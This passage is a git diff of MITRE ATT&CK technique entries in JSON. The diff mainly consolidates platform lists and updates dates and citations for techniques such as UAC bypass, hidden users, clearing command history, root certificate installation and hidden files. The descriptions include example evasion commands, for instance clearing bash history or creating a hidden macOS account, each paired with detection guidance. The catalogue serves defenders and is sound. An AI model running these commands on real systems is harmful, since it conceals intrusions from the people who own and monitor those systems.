integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
+            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -102,13 +102,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2012",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f.json b/enterprise-attack/attack-pattern/attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f.json
index 15869b43a6..882791cb44 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df629546-25b9-484c-93d0-f24a820ac1cb",
+    "id": "bundle--1a18bc5b-97e8-498c-8dba-90a9790ac77a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:43.540Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encoding",
-            "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -56,21 +56,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff.json b/enterprise-attack/attack-pattern/attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff.json
index 1d12654777..fa1d856aa2 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df6f7f9e-2159-4654-bd19-67dae59003cc",
+    "id": "bundle--0f060e03-5098-4b97-8887-0f7488e35ec9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Users",
-            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: MacOS, OS X\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
+            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,8 +41,7 @@
                 "root"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--d3046a90-580c-4004-8208-66915bc29830.json b/enterprise-attack/attack-pattern/attack-pattern--d3046a90-580c-4004-8208-66915bc29830.json
index 3c54b0af54..6f6684c7a0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--d3046a90-580c-4004-8208-66915bc29830.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--d3046a90-580c-4004-8208-66915bc29830.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d788d9ac-9f8f-41ac-ac13-8d70169337ed",
+    "id": "bundle--319a9d33-ca3e-4090-8dc6-782210064cc3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clear Command History",
-            "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
+            "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,8 +40,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1.json b/enterprise-attack/attack-pattern/attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1.json
index f1cc15b2b2..0c9f1b20b3 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f79e368b-4d0f-495e-9fa8-966f8793f738",
+    "id": "bundle--be8e4a04-54a6-43fc-84d1-6e232eb7d7f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:42.750Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Install Root Certificate",
-            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nInstalled root certificates are located in the Registry: <code>HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates</code>. There is a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,14 +36,20 @@
                 {
                     "source_name": "Kaspersky Superfish",
                     "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
-                    "url": "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/"
+                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
+                },
+                {
+                    "source_name": "Tripwire AppUNBlocker",
+                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
+                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Itzik Kotler, SafeBreach"
+                "Itzik Kotler, SafeBreach",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "SSL/TLS inspection",
@@ -56,19 +62,8 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638.json b/enterprise-attack/attack-pattern/attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638.json
index e1aef901fa..c837ec8266 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e13dc781-7bb2-4f2c-a0e7-bf7f753883f5",
+    "id": "bundle--4c9fca06-0c0d-48a9-9e6c-950cb012b646",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:30.260Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encrypted",
-            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
+            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -45,21 +45,9 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93.json b/enterprise-attack/attack-pattern/attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93.json
index d9f0c3b03a..6921f779f4 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--31a175f1-6eea-49a5-b413-2118d7263cb4",
+    "id": "bundle--d75abd3f-8b82-449f-8c0a-f351a02eef65",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Files and Directories",
-            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
+            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -58,21 +58,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
